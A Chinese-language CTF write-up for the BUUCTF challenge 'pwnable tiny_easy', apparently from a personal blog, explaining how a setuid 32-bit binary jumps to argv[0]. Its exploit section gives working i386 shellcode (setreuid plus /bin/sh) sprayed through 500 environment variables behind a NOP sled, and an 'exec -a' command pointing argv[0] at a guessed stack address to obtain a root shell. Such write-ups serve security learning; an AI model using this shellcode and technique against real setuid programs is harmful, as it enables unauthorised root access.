buuctf-pwnable_tiny_easy

总结

环境变量利用或者argv的利用。

checksec

image-20220405140544050

带有suid

漏洞点

image-20220405140605839

调试发现,edx实际为argv0

利用思路

远程开启了ASLR,所以需要猜测下栈地址,不过由于是32位,所以猜对的概率还是很大的。远程有python,可以利用python来输入不可见字符。

这里直接利用环境变量,首先导出足够多的环境变量:

1
for i in $(seq 1 500); do export RODERICK_$i=$(python -c 'print "\x90"*0x1000+"j1X\xcd\x80\x89\xc3jFX\x89\xd9\xcd\x80jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"');done;

后面的shellcode为:asm(shellcraft.i386.linux.setreuid()+shellcraft.i386.linux.sh())

  • 利用execl等函数,将argv0修改为一个栈地址;当然也可以用exec命令,使用-a选项:exec -a $(python -c "print '\xc0\xc0\xc0\xff'") ./tiny_easy &
  • 多试几次即可获得root shell

EXP

1
2
3
for i in $(seq 1 500); do export RODERICK_$i=$(python -c 'print "\x90"*0x1000+"j1X\xcd\x80\x89\xc3jFX\x89\xd9\xcd\x80jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"');done;

exec -a $(python -c "print '\xc0\xc0\xc0\xff'") ./tiny_easy &

打远程:

image-20220405141530155

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%